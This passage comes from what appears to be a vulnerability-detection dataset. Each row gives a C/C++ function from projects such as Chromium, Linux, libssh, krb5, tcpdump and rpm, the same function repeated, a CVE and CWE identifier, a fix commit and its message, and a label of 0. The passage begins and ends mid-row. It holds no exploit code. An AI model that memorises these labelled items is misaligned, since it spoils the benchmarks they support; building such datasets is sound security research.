/* Clear hcpriv which will prevent it being put in the cancel list
* in the event that an attempt is made to cancel it.
*/
urb->hcpriv = NULL;
/* Walk the cancel list in case the urb is already sitting there.
* Since we process the cancel list in a tasklet rather than in
* the dequeue function this could happen.
*/
cancel_urbl = oz_uncancel_urb(ozhcd, urb);
/* Note: we release lock but do not enable local irqs.
* It appears that usb_hcd_giveback_urb() expects irqs to be disabled,
* or at least other host controllers disable interrupts at this point
* so we do the same. We must, however, release the lock otherwise a
* deadlock will occur if an urb is submitted to our driver in the urb
* completion function. Because we disable interrupts it is possible
* that the urb_enqueue function can be called with them disabled.
*/
spin_unlock(&g_tasklet_lock);
if (oz_forget_urb(urb)) {
oz_dbg(ON, "ERROR Unknown URB %p\n", urb);
} else {
atomic_dec(&g_pending_urbs);
usb_hcd_giveback_urb(hcd, urb, status);
}
spin_lock(&g_tasklet_lock);
spin_unlock_irqrestore(&g_tasklet_lock, irq_state);
oz_free_urb_link(cancel_urbl);
}
|
C
|
linux
| 0 |
CVE-2016-1586
|
https://www.cvedetails.com/cve/CVE-2016-1586/
|
CWE-20
|
https://git.launchpad.net/oxide/commit/?id=29014da83e5fc358d6bff0f574e9ed45e61a35ac
|
29014da83e5fc358d6bff0f574e9ed45e61a35ac
| null |
void OxideQQuickWebViewPrivate::ToggleFullscreenMode(bool enter) {
Q_Q(OxideQQuickWebView);
emit q->fullscreenRequested(enter);
}
|
void OxideQQuickWebViewPrivate::ToggleFullscreenMode(bool enter) {
Q_Q(OxideQQuickWebView);
emit q->fullscreenRequested(enter);
}
|
CPP
|
launchpad
| 0 |
CVE-2011-2790
|
https://www.cvedetails.com/cve/CVE-2011-2790/
|
CWE-399
|
https://github.com/chromium/chromium/commit/adb3498ca0b69561d8c6b60bab641de4b0e37dbf
|
adb3498ca0b69561d8c6b60bab641de4b0e37dbf
|
Reviewed by Kevin Ollivier.
[wx] Fix strokeArc and fillRoundedRect drawing, and add clipPath support.
https://bugs.webkit.org/show_bug.cgi?id=60847
git-svn-id: svn://svn.chromium.org/blink/trunk@86502 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
void GraphicsContext::setLineDash(const DashArray&, float dashOffset)
{
notImplemented();
}
|
void GraphicsContext::setLineDash(const DashArray&, float dashOffset)
{
notImplemented();
}
|
C
|
Chrome
| 0 |
CVE-2011-2862
|
https://www.cvedetails.com/cve/CVE-2011-2862/
|
CWE-264
|
https://github.com/chromium/chromium/commit/5837ee4ab49f2a9f604f9d572df01a832cb446cc
|
5837ee4ab49f2a9f604f9d572df01a832cb446cc
|
Add missing shortcut keys to the keyboard overlay.
This CL adds the following shortcuts to the keyboard overlay.
* Alt - 1, Alt - 2, .., Alt - 8: go to the window at the specified position
* Alt - 9: go to the last window open
* Ctrl - Forward: switches focus to the next keyboard-accessible pane
* Ctrl - Back: switches focus to the previous keyboard-accessible pane
* Ctrl - Right: move the text cursor to the end of the next word
* Ctrl - Left: move the text cursor to the start of the previous word
* Ctrl - Alt - Z: enable or disable accessibility features
* Ctrl - Shift - Maximize: take a screenshot of the selected region
* Ctrl - Shift - O: open the Bookmark Manager
I also deleted a duplicated entry of "Close window".
BUG=chromium-os:17152
TEST=Manually checked on chromebook
Review URL: http://codereview.chromium.org/7489040
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@93906 0039d316-1c4b-4281-b951-d872f2087c98
|
void KeyboardOverlayHandler::GetLabelMap(const ListValue* args) {
DCHECK(profile_);
PrefService* pref_service = profile_->GetPrefs();
typedef std::map<ModifierKey, ModifierKey> ModifierMap;
ModifierMap modifier_map;
modifier_map[chromeos::input_method::kSearchKey] = static_cast<ModifierKey>(
pref_service->GetInteger(prefs::kLanguageXkbRemapSearchKeyTo));
modifier_map[chromeos::input_method::kLeftControlKey] =
static_cast<ModifierKey>(
pref_service->GetInteger(prefs::kLanguageXkbRemapControlKeyTo));
modifier_map[chromeos::input_method::kLeftAltKey] = static_cast<ModifierKey>(
pref_service->GetInteger(prefs::kLanguageXkbRemapAltKeyTo));
DictionaryValue dict;
for (ModifierMap::const_iterator i = modifier_map.begin();
i != modifier_map.end(); ++i) {
dict.SetString(ModifierKeyToLabel(i->first), ModifierKeyToLabel(i->second));
}
web_ui_->CallJavascriptFunction("initIdentifierMap", dict);
}
|
void KeyboardOverlayHandler::GetLabelMap(const ListValue* args) {
DCHECK(profile_);
PrefService* pref_service = profile_->GetPrefs();
typedef std::map<ModifierKey, ModifierKey> ModifierMap;
ModifierMap modifier_map;
modifier_map[chromeos::input_method::kSearchKey] = static_cast<ModifierKey>(
pref_service->GetInteger(prefs::kLanguageXkbRemapSearchKeyTo));
modifier_map[chromeos::input_method::kLeftControlKey] =
static_cast<ModifierKey>(
pref_service->GetInteger(prefs::kLanguageXkbRemapControlKeyTo));
modifier_map[chromeos::input_method::kLeftAltKey] = static_cast<ModifierKey>(
pref_service->GetInteger(prefs::kLanguageXkbRemapAltKeyTo));
DictionaryValue dict;
for (ModifierMap::const_iterator i = modifier_map.begin();
i != modifier_map.end(); ++i) {
dict.SetString(ModifierKeyToLabel(i->first), ModifierKeyToLabel(i->second));
}
web_ui_->CallJavascriptFunction("initIdentifierMap", dict);
}
|
C
|
Chrome
| 0 |
CVE-2011-2858
|
https://www.cvedetails.com/cve/CVE-2011-2858/
|
CWE-119
|
https://github.com/chromium/chromium/commit/c13e1da62b5f5f0e6fe8c1f769a5a28415415244
|
c13e1da62b5f5f0e6fe8c1f769a5a28415415244
|
Revert "Revert 100494 - Fix bug in SimulateAttrib0."""
TEST=none
BUG=95625
[email protected]
Review URL: http://codereview.chromium.org/7796016
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@100507 0039d316-1c4b-4281-b951-d872f2087c98
|
error::Error GLES2DecoderImpl::HandleBindAttribLocationImmediate(
uint32 immediate_data_size, const gles2::BindAttribLocationImmediate& c) {
GLuint program = static_cast<GLuint>(c.program);
ProgramManager::ProgramInfo* info = GetProgramInfoNotShader(
program, "glBindAttribLocation");
if (!info) {
return error::kNoError;
}
GLuint index = static_cast<GLuint>(c.index);
uint32 name_size = c.data_size;
const char* name = GetImmediateDataAs<const char*>(
c, name_size, immediate_data_size);
if (name == NULL) {
return error::kOutOfBounds;
}
String name_str(name, name_size);
glBindAttribLocation(info->service_id(), index, name_str.c_str());
return error::kNoError;
}
|
error::Error GLES2DecoderImpl::HandleBindAttribLocationImmediate(
uint32 immediate_data_size, const gles2::BindAttribLocationImmediate& c) {
GLuint program = static_cast<GLuint>(c.program);
ProgramManager::ProgramInfo* info = GetProgramInfoNotShader(
program, "glBindAttribLocation");
if (!info) {
return error::kNoError;
}
GLuint index = static_cast<GLuint>(c.index);
uint32 name_size = c.data_size;
const char* name = GetImmediateDataAs<const char*>(
c, name_size, immediate_data_size);
if (name == NULL) {
return error::kOutOfBounds;
}
String name_str(name, name_size);
glBindAttribLocation(info->service_id(), index, name_str.c_str());
return error::kNoError;
}
|
C
|
Chrome
| 0 |
CVE-2015-3146
|
https://www.cvedetails.com/cve/CVE-2015-3146/
| null |
https://git.libssh.org/projects/libssh.git/commit/?h=libssh-0.6.5&id=94f6955fbaee6fda9385a23e505497efe21f5b4f
|
94f6955fbaee6fda9385a23e505497efe21f5b4f
| null |
static int ssh_server_kexdh_init(ssh_session session, ssh_buffer packet){
ssh_string e;
e = buffer_get_ssh_string(packet);
if (e == NULL) {
ssh_set_error(session, SSH_FATAL, "No e number in client request");
return -1;
}
if (dh_import_e(session, e) < 0) {
ssh_set_error(session, SSH_FATAL, "Cannot import e number");
session->session_state=SSH_SESSION_STATE_ERROR;
} else {
session->dh_handshake_state=DH_STATE_INIT_SENT;
dh_handshake_server(session);
}
ssh_string_free(e);
return SSH_OK;
}
|
static int ssh_server_kexdh_init(ssh_session session, ssh_buffer packet){
ssh_string e;
e = buffer_get_ssh_string(packet);
if (e == NULL) {
ssh_set_error(session, SSH_FATAL, "No e number in client request");
return -1;
}
if (dh_import_e(session, e) < 0) {
ssh_set_error(session, SSH_FATAL, "Cannot import e number");
session->session_state=SSH_SESSION_STATE_ERROR;
} else {
session->dh_handshake_state=DH_STATE_INIT_SENT;
dh_handshake_server(session);
}
ssh_string_free(e);
return SSH_OK;
}
|
C
|
libssh
| 0 |
CVE-2012-2862
|
https://www.cvedetails.com/cve/CVE-2012-2862/
|
CWE-399
|
https://github.com/chromium/chromium/commit/c4f40933f2cd7f975af63e56ea4cdcdc6c636f73
|
c4f40933f2cd7f975af63e56ea4cdcdc6c636f73
|
accelerators: Remove deprecated Accelerator ctor that takes booleans.
BUG=128242
[email protected]
Review URL: https://chromiumcodereview.appspot.com/10399085
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@137957 0039d316-1c4b-4281-b951-d872f2087c98
|
void set_accelerator_pressed_count(int accelerator_pressed_count) {
accelerator_pressed_count_ = accelerator_pressed_count;
}
|
void set_accelerator_pressed_count(int accelerator_pressed_count) {
accelerator_pressed_count_ = accelerator_pressed_count;
}
|
C
|
Chrome
| 0 |
CVE-2014-1742
|
https://www.cvedetails.com/cve/CVE-2014-1742/
|
CWE-399
|
https://github.com/chromium/chromium/commit/870f3e99a1282023753fe8d8aed90879cbc6838f
|
870f3e99a1282023753fe8d8aed90879cbc6838f
|
Tracing: Add support for PII whitelisting of individual trace event arguments
R=dsinclair,shatch
BUG=546093
Review URL: https://codereview.chromium.org/1415013003
Cr-Commit-Position: refs/heads/master@{#356690}
|
void FlushMonitoring(WaitableEvent* flush_complete_event) {
TraceLog::GetInstance()->FlushButLeaveBufferIntact(
base::Bind(&TraceEventTestFixture::OnTraceDataCollected,
base::Unretained(static_cast<TraceEventTestFixture*>(this)),
base::Unretained(flush_complete_event)));
}
|
void FlushMonitoring(WaitableEvent* flush_complete_event) {
TraceLog::GetInstance()->FlushButLeaveBufferIntact(
base::Bind(&TraceEventTestFixture::OnTraceDataCollected,
base::Unretained(static_cast<TraceEventTestFixture*>(this)),
base::Unretained(flush_complete_event)));
}
|
C
|
Chrome
| 0 |
CVE-2016-5219
|
https://www.cvedetails.com/cve/CVE-2016-5219/
|
CWE-416
|
https://github.com/chromium/chromium/commit/a4150b688a754d3d10d2ca385155b1c95d77d6ae
|
a4150b688a754d3d10d2ca385155b1c95d77d6ae
|
Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <[email protected]>
Reviewed-by: Kentaro Hara <[email protected]>
Reviewed-by: Geoff Lang <[email protected]>
Reviewed-by: Kenneth Russell <[email protected]>
Cr-Commit-Position: refs/heads/master@{#657568}
|
bool GLES2Implementation::UpdateIndexedBufferState(GLenum target,
GLuint index,
GLuint buffer_id,
const char* function_name) {
switch (target) {
case GL_ATOMIC_COUNTER_BUFFER:
if (index >= static_cast<GLuint>(
capabilities_.max_atomic_counter_buffer_bindings)) {
SetGLError(GL_INVALID_VALUE, function_name, "index out of range");
return false;
}
bound_atomic_counter_buffer_ = buffer_id;
break;
case GL_TRANSFORM_FEEDBACK_BUFFER:
if (index >= static_cast<GLuint>(
capabilities_.max_transform_feedback_separate_attribs)) {
SetGLError(GL_INVALID_VALUE, function_name, "index out of range");
return false;
}
bound_transform_feedback_buffer_ = buffer_id;
break;
case GL_SHADER_STORAGE_BUFFER:
if (index >= static_cast<GLuint>(
capabilities_.max_shader_storage_buffer_bindings)) {
SetGLError(GL_INVALID_VALUE, function_name, "index out of range");
return false;
}
bound_shader_storage_buffer_ = buffer_id;
break;
case GL_UNIFORM_BUFFER:
if (index >=
static_cast<GLuint>(capabilities_.max_uniform_buffer_bindings)) {
SetGLError(GL_INVALID_VALUE, function_name, "index out of range");
return false;
}
bound_uniform_buffer_ = buffer_id;
break;
default:
SetGLError(GL_INVALID_ENUM, function_name, "invalid target");
return false;
}
return true;
}
|
bool GLES2Implementation::UpdateIndexedBufferState(GLenum target,
GLuint index,
GLuint buffer_id,
const char* function_name) {
switch (target) {
case GL_ATOMIC_COUNTER_BUFFER:
if (index >= static_cast<GLuint>(
capabilities_.max_atomic_counter_buffer_bindings)) {
SetGLError(GL_INVALID_VALUE, function_name, "index out of range");
return false;
}
bound_atomic_counter_buffer_ = buffer_id;
break;
case GL_TRANSFORM_FEEDBACK_BUFFER:
if (index >= static_cast<GLuint>(
capabilities_.max_transform_feedback_separate_attribs)) {
SetGLError(GL_INVALID_VALUE, function_name, "index out of range");
return false;
}
bound_transform_feedback_buffer_ = buffer_id;
break;
case GL_SHADER_STORAGE_BUFFER:
if (index >= static_cast<GLuint>(
capabilities_.max_shader_storage_buffer_bindings)) {
SetGLError(GL_INVALID_VALUE, function_name, "index out of range");
return false;
}
bound_shader_storage_buffer_ = buffer_id;
break;
case GL_UNIFORM_BUFFER:
if (index >=
static_cast<GLuint>(capabilities_.max_uniform_buffer_bindings)) {
SetGLError(GL_INVALID_VALUE, function_name, "index out of range");
return false;
}
bound_uniform_buffer_ = buffer_id;
break;
default:
SetGLError(GL_INVALID_ENUM, function_name, "invalid target");
return false;
}
return true;
}
|
C
|
Chrome
| 0 |
CVE-2011-2699
|
https://www.cvedetails.com/cve/CVE-2011-2699/
| null |
https://github.com/torvalds/linux/commit/87c48fa3b4630905f98268dde838ee43626a060c
|
87c48fa3b4630905f98268dde838ee43626a060c
|
ipv6: make fragment identifications less predictable
IPv6 fragment identification generation is way beyond what we use for
IPv4 : It uses a single generator. Its not scalable and allows DOS
attacks.
Now inetpeer is IPv6 aware, we can use it to provide a more secure and
scalable frag ident generator (per destination, instead of system wide)
This patch :
1) defines a new secure_ipv6_id() helper
2) extends inet_getid() to provide 32bit results
3) extends ipv6_select_ident() with a new dest parameter
Reported-by: Fernando Gont <[email protected]>
Signed-off-by: Eric Dumazet <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
|
static __init int seqgen_init(void)
{
rekey_seq_generator(NULL);
return 0;
}
|
static __init int seqgen_init(void)
{
rekey_seq_generator(NULL);
return 0;
}
|
C
|
linux
| 0 |
CVE-2016-1647
|
https://www.cvedetails.com/cve/CVE-2016-1647/
| null |
https://github.com/chromium/chromium/commit/e5787005a9004d7be289cc649c6ae4f3051996cd
|
e5787005a9004d7be289cc649c6ae4f3051996cd
|
Check that RWHI isn't deleted manually while owned by a scoped_ptr in RVHI
BUG=590284
Review URL: https://codereview.chromium.org/1747183002
Cr-Commit-Position: refs/heads/master@{#378844}
|
void RenderWidgetHostImpl::StartNewContentRenderingTimeout() {
if (received_paint_after_load_) {
received_paint_after_load_ = false;
return;
}
new_content_rendering_timeout_->Start(new_content_rendering_delay_);
}
|
void RenderWidgetHostImpl::StartNewContentRenderingTimeout() {
if (received_paint_after_load_) {
received_paint_after_load_ = false;
return;
}
new_content_rendering_timeout_->Start(new_content_rendering_delay_);
}
|
C
|
Chrome
| 0 |
CVE-2014-1713
|
https://www.cvedetails.com/cve/CVE-2014-1713/
|
CWE-399
|
https://github.com/chromium/chromium/commit/f85a87ec670ad0fce9d98d90c9a705b72a288154
|
f85a87ec670ad0fce9d98d90c9a705b72a288154
|
document.location bindings fix
BUG=352374
[email protected]
Review URL: https://codereview.chromium.org/196343011
git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
static void reflectedTreatNullAsNullStringTreatUndefinedAsNullStringStringAttrAttributeSetter(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)
{
TestObject* imp = V8TestObject::toNative(info.Holder());
V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<WithUndefinedOrNullCheck>, cppValue, jsValue);
CustomElementCallbackDispatcher::CallbackDeliveryScope deliveryScope;
imp->setAttribute(HTMLNames::reflectedtreatnullasnullstringtreatundefinedasnullstringstringattrAttr, cppValue);
}
|
static void reflectedTreatNullAsNullStringTreatUndefinedAsNullStringStringAttrAttributeSetter(v8::Local<v8::Value> jsValue, const v8::PropertyCallbackInfo<void>& info)
{
TestObject* imp = V8TestObject::toNative(info.Holder());
V8TRYCATCH_FOR_V8STRINGRESOURCE_VOID(V8StringResource<WithUndefinedOrNullCheck>, cppValue, jsValue);
CustomElementCallbackDispatcher::CallbackDeliveryScope deliveryScope;
imp->setAttribute(HTMLNames::reflectedtreatnullasnullstringtreatundefinedasnullstringstringattrAttr, cppValue);
}
|
C
|
Chrome
| 0 |
CVE-2017-13690
|
https://www.cvedetails.com/cve/CVE-2017-13690/
|
CWE-125
|
https://github.com/the-tcpdump-group/tcpdump/commit/8dca25d26c7ca2caf6138267f6f17111212c156e
|
8dca25d26c7ca2caf6138267f6f17111212c156e
|
CVE-2017-13690/IKEv2: Fix some bounds checks.
Use a pointer of the correct type in ND_TCHECK(), or use ND_TCHECK2()
and provide the correct length.
While we're at it, remove the blank line between some checks and the
UNALIGNED_MEMCPY()s they protect.
Also, note the places where we print the entire payload.
This fixes a buffer over-read discovered by Bhargava Shastry,
SecT/TU Berlin.
Add a test using the capture file supplied by the reporter(s).
|
cookie_record(cookie_t *in, const u_char *bp2)
{
int i;
const struct ip *ip;
const struct ip6_hdr *ip6;
i = cookie_find(in);
if (0 <= i) {
ninitiator = (i + 1) % MAXINITIATORS;
return;
}
ip = (const struct ip *)bp2;
switch (IP_V(ip)) {
case 4:
cookiecache[ninitiator].version = 4;
UNALIGNED_MEMCPY(&cookiecache[ninitiator].iaddr.in4, &ip->ip_src, sizeof(struct in_addr));
UNALIGNED_MEMCPY(&cookiecache[ninitiator].raddr.in4, &ip->ip_dst, sizeof(struct in_addr));
break;
case 6:
ip6 = (const struct ip6_hdr *)bp2;
cookiecache[ninitiator].version = 6;
UNALIGNED_MEMCPY(&cookiecache[ninitiator].iaddr.in6, &ip6->ip6_src, sizeof(struct in6_addr));
UNALIGNED_MEMCPY(&cookiecache[ninitiator].raddr.in6, &ip6->ip6_dst, sizeof(struct in6_addr));
break;
default:
return;
}
UNALIGNED_MEMCPY(&cookiecache[ninitiator].initiator, in, sizeof(*in));
ninitiator = (ninitiator + 1) % MAXINITIATORS;
}
|
cookie_record(cookie_t *in, const u_char *bp2)
{
int i;
const struct ip *ip;
const struct ip6_hdr *ip6;
i = cookie_find(in);
if (0 <= i) {
ninitiator = (i + 1) % MAXINITIATORS;
return;
}
ip = (const struct ip *)bp2;
switch (IP_V(ip)) {
case 4:
cookiecache[ninitiator].version = 4;
UNALIGNED_MEMCPY(&cookiecache[ninitiator].iaddr.in4, &ip->ip_src, sizeof(struct in_addr));
UNALIGNED_MEMCPY(&cookiecache[ninitiator].raddr.in4, &ip->ip_dst, sizeof(struct in_addr));
break;
case 6:
ip6 = (const struct ip6_hdr *)bp2;
cookiecache[ninitiator].version = 6;
UNALIGNED_MEMCPY(&cookiecache[ninitiator].iaddr.in6, &ip6->ip6_src, sizeof(struct in6_addr));
UNALIGNED_MEMCPY(&cookiecache[ninitiator].raddr.in6, &ip6->ip6_dst, sizeof(struct in6_addr));
break;
default:
return;
}
UNALIGNED_MEMCPY(&cookiecache[ninitiator].initiator, in, sizeof(*in));
ninitiator = (ninitiator + 1) % MAXINITIATORS;
}
|
C
|
tcpdump
| 0 |
CVE-2017-7501
|
https://www.cvedetails.com/cve/CVE-2017-7501/
|
CWE-59
|
https://github.com/rpm-software-management/rpm/commit/404ef011c300207cdb1e531670384564aae04bdc
|
404ef011c300207cdb1e531670384564aae04bdc
|
Don't follow symlinks on file creation (CVE-2017-7501)
Open newly created files with O_EXCL to prevent symlink tricks.
When reopening hardlinks for writing the actual content, use append
mode instead. This is compatible with the write-only permissions but
is not destructive in case we got redirected to somebody elses file,
verify the target before actually writing anything.
As these are files with the temporary suffix, errors mean a local
user with sufficient privileges to break the installation of the package
anyway is trying to goof us on purpose, don't bother trying to mend it
(we couldn't fix the hardlink case anyhow) but just bail out.
Based on a patch by Florian Festi.
|
static int fsmChown(const char *path, mode_t mode, uid_t uid, gid_t gid)
{
int rc = S_ISLNK(mode) ? lchown(path, uid, gid) : chown(path, uid, gid);
if (rc < 0) {
struct stat st;
if (lstat(path, &st) == 0 && st.st_uid == uid && st.st_gid == gid)
rc = 0;
}
if (_fsm_debug)
rpmlog(RPMLOG_DEBUG, " %8s (%s, %d, %d) %s\n", __func__,
path, (int)uid, (int)gid,
(rc < 0 ? strerror(errno) : ""));
if (rc < 0) rc = RPMERR_CHOWN_FAILED;
return rc;
}
|
static int fsmChown(const char *path, mode_t mode, uid_t uid, gid_t gid)
{
int rc = S_ISLNK(mode) ? lchown(path, uid, gid) : chown(path, uid, gid);
if (rc < 0) {
struct stat st;
if (lstat(path, &st) == 0 && st.st_uid == uid && st.st_gid == gid)
rc = 0;
}
if (_fsm_debug)
rpmlog(RPMLOG_DEBUG, " %8s (%s, %d, %d) %s\n", __func__,
path, (int)uid, (int)gid,
(rc < 0 ? strerror(errno) : ""));
if (rc < 0) rc = RPMERR_CHOWN_FAILED;
return rc;
}
|
C
|
rpm
| 0 |
CVE-2018-10191
|
https://www.cvedetails.com/cve/CVE-2018-10191/
|
CWE-190
|
https://github.com/mruby/mruby/commit/1905091634a6a2925c911484434448e568330626
|
1905091634a6a2925c911484434448e568330626
|
Check length of env stack before accessing upvar; fix #3995
|
mrb_funcall_argv(mrb_state *mrb, mrb_value self, mrb_sym mid, mrb_int argc, const mrb_value *argv)
{
return mrb_funcall_with_block(mrb, self, mid, argc, argv, mrb_nil_value());
}
|
mrb_funcall_argv(mrb_state *mrb, mrb_value self, mrb_sym mid, mrb_int argc, const mrb_value *argv)
{
return mrb_funcall_with_block(mrb, self, mid, argc, argv, mrb_nil_value());
}
|
C
|
mruby
| 0 |
CVE-2011-2918
|
https://www.cvedetails.com/cve/CVE-2011-2918/
|
CWE-399
|
https://github.com/torvalds/linux/commit/a8b0ca17b80e92faab46ee7179ba9e99ccb61233
|
a8b0ca17b80e92faab46ee7179ba9e99ccb61233
|
perf: Remove the nmi parameter from the swevent and overflow interface
The nmi parameter indicated if we could do wakeups from the current
context, if not, we would set some state and self-IPI and let the
resulting interrupt do the wakeup.
For the various event classes:
- hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from
the PMI-tail (ARM etc.)
- tracepoint: nmi=0; since tracepoint could be from NMI context.
- software: nmi=[0,1]; some, like the schedule thing cannot
perform wakeups, and hence need 0.
As one can see, there is very little nmi=1 usage, and the down-side of
not using it is that on some platforms some software events can have a
jiffy delay in wakeup (when arch_irq_work_raise isn't implemented).
The up-side however is that we can remove the nmi parameter and save a
bunch of conditionals in fast paths.
Signed-off-by: Peter Zijlstra <[email protected]>
Cc: Michael Cree <[email protected]>
Cc: Will Deacon <[email protected]>
Cc: Deng-Cheng Zhu <[email protected]>
Cc: Anton Blanchard <[email protected]>
Cc: Eric B Munson <[email protected]>
Cc: Heiko Carstens <[email protected]>
Cc: Paul Mundt <[email protected]>
Cc: David S. Miller <[email protected]>
Cc: Frederic Weisbecker <[email protected]>
Cc: Jason Wessel <[email protected]>
Cc: Don Zickus <[email protected]>
Link: http://lkml.kernel.org/n/[email protected]
Signed-off-by: Ingo Molnar <[email protected]>
|
static int ttwu_remote(struct task_struct *p, int wake_flags)
{
struct rq *rq;
int ret = 0;
rq = __task_rq_lock(p);
if (p->on_rq) {
ttwu_do_wakeup(rq, p, wake_flags);
ret = 1;
}
__task_rq_unlock(rq);
return ret;
}
|
static int ttwu_remote(struct task_struct *p, int wake_flags)
{
struct rq *rq;
int ret = 0;
rq = __task_rq_lock(p);
if (p->on_rq) {
ttwu_do_wakeup(rq, p, wake_flags);
ret = 1;
}
__task_rq_unlock(rq);
return ret;
}
|
C
|
linux
| 0 |
CVE-2013-1415
|
https://www.cvedetails.com/cve/CVE-2013-1415/
| null |
https://github.com/krb5/krb5/commit/f249555301940c6df3a2cdda13b56b5674eebc2e
|
f249555301940c6df3a2cdda13b56b5674eebc2e
|
PKINIT null pointer deref [CVE-2013-1415]
Don't dereference a null pointer when cleaning up.
The KDC plugin for PKINIT can dereference a null pointer when a
malformed packet causes processing to terminate early, leading to
a crash of the KDC process. An attacker would need to have a valid
PKINIT certificate or have observed a successful PKINIT authentication,
or an unauthenticated attacker could execute the attack if anonymous
PKINIT is enabled.
CVSSv2 vector: AV:N/AC:M/Au:N/C:N/I:N/A:C/E:P/RL:O/RC:C
This is a minimal commit for pullup; style fixes in a followup.
[[email protected]: reformat and edit commit message]
(cherry picked from commit c773d3c775e9b2d88bcdff5f8a8ba88d7ec4e8ed)
ticket: 7570
version_fixed: 1.11.1
status: resolved
|
crypto_cert_iteration_next(krb5_context context,
pkinit_cert_iter_handle ih,
pkinit_cert_handle *ch_ret)
{
struct _pkinit_cert_iter_data *id = (struct _pkinit_cert_iter_data *)ih;
struct _pkinit_cert_data *cd;
pkinit_identity_crypto_context id_cryptoctx;
if (id == NULL || id->magic != ITER_MAGIC)
return EINVAL;
if (ch_ret == NULL)
return EINVAL;
id_cryptoctx = id->idctx;
if (id_cryptoctx == NULL)
return EINVAL;
if (id_cryptoctx->creds[id->index] == NULL)
return PKINIT_ITER_NO_MORE;
cd = calloc(1, sizeof(*cd));
if (cd == NULL)
return ENOMEM;
cd->magic = CERT_MAGIC;
cd->plgctx = id->plgctx;
cd->reqctx = id->reqctx;
cd->idctx = id->idctx;
cd->index = id->index;
cd->cred = id_cryptoctx->creds[id->index++];
*ch_ret = (pkinit_cert_handle)cd;
return 0;
}
|
crypto_cert_iteration_next(krb5_context context,
pkinit_cert_iter_handle ih,
pkinit_cert_handle *ch_ret)
{
struct _pkinit_cert_iter_data *id = (struct _pkinit_cert_iter_data *)ih;
struct _pkinit_cert_data *cd;
pkinit_identity_crypto_context id_cryptoctx;
if (id == NULL || id->magic != ITER_MAGIC)
return EINVAL;
if (ch_ret == NULL)
return EINVAL;
id_cryptoctx = id->idctx;
if (id_cryptoctx == NULL)
return EINVAL;
if (id_cryptoctx->creds[id->index] == NULL)
return PKINIT_ITER_NO_MORE;
cd = calloc(1, sizeof(*cd));
if (cd == NULL)
return ENOMEM;
cd->magic = CERT_MAGIC;
cd->plgctx = id->plgctx;
cd->reqctx = id->reqctx;
cd->idctx = id->idctx;
cd->index = id->index;
cd->cred = id_cryptoctx->creds[id->index++];
*ch_ret = (pkinit_cert_handle)cd;
return 0;
}
|
C
|
krb5
| 0 |
CVE-2014-1700
|
https://www.cvedetails.com/cve/CVE-2014-1700/
|
CWE-399
|
https://github.com/chromium/chromium/commit/685c3980d31b5199924086b8c93a1ce751d24733
|
685c3980d31b5199924086b8c93a1ce751d24733
|
content: Rename webkit_test_helpers.{cc,h} to blink_test_helpers.{cc,h}
Now that webkit/ is gone, we are preparing ourselves for the merge of
third_party/WebKit into //blink.
BUG=None
BUG=content_shell && content_unittests
[email protected]
Review URL: https://codereview.chromium.org/1118183003
Cr-Commit-Position: refs/heads/master@{#328202}
|
void BlinkTestRunner::SetScreenOrientation(
const WebScreenOrientationType& orientation) {
MockScreenOrientationClient* mock_client =
proxy()->GetScreenOrientationClientMock();
mock_client->UpdateDeviceOrientation(
render_view()->GetWebView()->mainFrame()->toWebLocalFrame(), orientation);
}
|
void BlinkTestRunner::SetScreenOrientation(
const WebScreenOrientationType& orientation) {
MockScreenOrientationClient* mock_client =
proxy()->GetScreenOrientationClientMock();
mock_client->UpdateDeviceOrientation(
render_view()->GetWebView()->mainFrame()->toWebLocalFrame(), orientation);
}
|
C
|
Chrome
| 0 |
CVE-2017-17858
|
https://www.cvedetails.com/cve/CVE-2017-17858/
|
CWE-119
|
http://git.ghostscript.com/?p=mupdf.git;a=commit;h=55c3f68d638ac1263a386e0aaa004bb6e8bde731
|
55c3f68d638ac1263a386e0aaa004bb6e8bde731
| null |
pdf_load_object(fz_context *ctx, pdf_document *doc, int num)
{
pdf_xref_entry *entry = pdf_cache_object(ctx, doc, num);
assert(entry->obj != NULL);
return pdf_keep_obj(ctx, entry->obj);
}
|
pdf_load_object(fz_context *ctx, pdf_document *doc, int num)
{
pdf_xref_entry *entry = pdf_cache_object(ctx, doc, num);
assert(entry->obj != NULL);
return pdf_keep_obj(ctx, entry->obj);
}
|
C
|
ghostscript
| 0 |
CVE-2018-20855
|
https://www.cvedetails.com/cve/CVE-2018-20855/
|
CWE-119
|
https://github.com/torvalds/linux/commit/0625b4ba1a5d4703c7fb01c497bd6c156908af00
|
0625b4ba1a5d4703c7fb01c497bd6c156908af00
|
IB/mlx5: Fix leaking stack memory to userspace
mlx5_ib_create_qp_resp was never initialized and only the first 4 bytes
were written.
Fixes: 41d902cb7c32 ("RDMA/mlx5: Fix definition of mlx5_ib_create_qp_resp")
Cc: <[email protected]>
Acked-by: Leon Romanovsky <[email protected]>
Signed-off-by: Jason Gunthorpe <[email protected]>
|
int mlx5_ib_destroy_wq(struct ib_wq *wq)
{
struct mlx5_ib_dev *dev = to_mdev(wq->device);
struct mlx5_ib_rwq *rwq = to_mrwq(wq);
mlx5_core_destroy_rq_tracked(dev->mdev, &rwq->core_qp);
destroy_user_rq(dev, wq->pd, rwq);
kfree(rwq);
return 0;
}
|
int mlx5_ib_destroy_wq(struct ib_wq *wq)
{
struct mlx5_ib_dev *dev = to_mdev(wq->device);
struct mlx5_ib_rwq *rwq = to_mrwq(wq);
mlx5_core_destroy_rq_tracked(dev->mdev, &rwq->core_qp);
destroy_user_rq(dev, wq->pd, rwq);
kfree(rwq);
return 0;
}
|
C
|
linux
| 0 |
CVE-2014-3690
|
https://www.cvedetails.com/cve/CVE-2014-3690/
|
CWE-399
|
https://github.com/torvalds/linux/commit/d974baa398f34393db76be45f7d4d04fbdbb4a0a
|
